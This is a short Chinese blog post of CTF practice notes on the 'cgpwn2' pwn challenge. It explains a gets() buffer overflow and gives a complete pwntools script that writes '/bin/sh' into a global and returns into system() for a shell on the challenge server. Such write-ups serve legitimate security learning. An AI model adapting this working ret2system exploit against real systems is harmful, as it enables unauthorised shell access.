PWN刷题笔记——cgpwn2

感觉这道题一拿到手就感觉蛮神奇的,扔到ida里也是一头雾水:

函数也是一堆,让我们康康hello()和pwn()(暗示啊啊啊啊啊啊啊)

但是hello函数里没用的东西一堆,我一开始还被误导了,真正有用的是最后存在一个gets()危险函数

pwn这个函数就有意思了,有system但是他并没有执行cat flag什么的:

后来实在解决不出来了,看了一下网上大师傅们关于此题的WP(我太菜了QwQ),原来是将/bin/sh赋值到第一个字符串变量里,然后我们就可以伪造shellcode了!(太神奇了!叹为观止QwQ)

from pwn import *
r=remote("111.200.241.243",58396)
r.recvuntil("please tell me your name")
r.sendline("/bin/sh")
//0x8048420是system函数的地址
//0x0804A080是name这个变量的地址(其实就是/bin/sh)
payload = b'a'*0x26 + b'a'*4 + p32(0x8048420) + p32(0) + p32(0x0804A080)
r.recvuntil("hello,you can leave some message here:")
r.sendline(payload)

r.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇